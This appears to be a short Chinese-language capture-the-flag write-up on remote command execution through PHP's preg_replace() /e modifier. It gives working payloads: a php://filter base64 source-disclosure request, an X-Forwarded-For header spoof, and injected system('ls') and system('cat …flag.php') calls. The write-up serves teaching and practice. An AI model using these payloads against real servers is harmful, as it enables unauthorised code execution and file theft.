preg_replace()特殊匹配模式造成命令執行
阿新 • • 發佈:2021-09-17
漏洞成因:preg_replace()函式的功能為替換正則匹配的字元
Eg:
$slug = preg_replace('/[^a-z0-9-]/', '', $string);
正則替換,把$string中所有非小寫字母或數字的字元給替換成空'',
就是刪除非小寫字母或數字的其他字元。
漏洞:
有一個/e模式加一個/e會造成任意命令執行
題目:
開啟之後,開啟裝置維護中心:
發現點選雲平臺裝置維護中心幾個字url會發生變化
會將傳入的引數顯示出來,這裡可以使用偽協議進行讀取原始碼:
payload為
Php://filter/read=convert.base64-encode/resource=index.php
得到index.php的原始碼有了程式碼洩露,進行程式碼審計
關鍵程式碼(存在漏洞的地方為)
首先要加一個X_Forwaeded_For:127.0.0.1進行匹配進入preg_replace()函式
然後傳遞引數
?pat=/(.*)/e&rep= system(‘ls’)&sub=test
得到
然後得到檔案路徑
再進入?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir’)&sub=test
發現flag資料夾
?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir/falg’)&sub=test
發現flag.php
之後用cat 指令讀取
?pat=/(.*)/e&rep= system(‘cat+s3chahahaDir/falg/flag.php’)&sub=test
得到flag